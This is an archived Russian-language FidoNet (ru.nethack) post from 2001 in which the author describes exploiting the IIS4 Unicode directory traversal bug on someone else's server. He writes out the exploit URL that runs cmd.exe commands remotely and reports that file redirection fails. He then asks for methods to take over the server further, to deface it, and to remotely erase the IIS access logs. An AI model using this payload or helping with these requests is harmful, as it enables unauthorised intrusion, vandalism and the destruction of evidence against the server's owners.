|
ru.nethack
- RU.NETHACK -------------------------------------------------------------------
From : Sergei Kasaurov 2:5020/400 19 Jan 2001 18:01:35
To : All
Subject : CGI-дыра в IIS4
--------------------------------------------------------------------------------
Hашел в одном серваке сабж типа:
http://www.targethost.dom/scripts/..%c0%af../winnt/system32/cmd.exe?/c+ANYCO
MMAND
С помощью нее могу удаленно выполнить DIR, COPY, DEL и т.д.
Однако, при попытке создать файл на серваке с помощью перенаправления
ECHO....>
http://www.targethost.dom/scripts/..%c0%af../winnt/system32/cmd.exe?/c+echo+
MYCOMMAND+>+c:\PATH\FILE
сервер выдает ошибку 500 и не хочет осуществлять перенаправление в файл.
Какие способы подскажете для дальнейшего захвата сервера. Hе имея
возможности создавать файл, не могу даже отдефейсить сервак :(
И наконец, журналирует ли по умолчанию (исходя из того, что админ - чайник)
обращения по HTTP IIS. Если да, то в каком логе и как это можно удаленно
вычистить?
Сергей
--- ifmail v.2.15dev5
* Origin: Yartelecom Computer Networks (2:5020/400)
Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
|
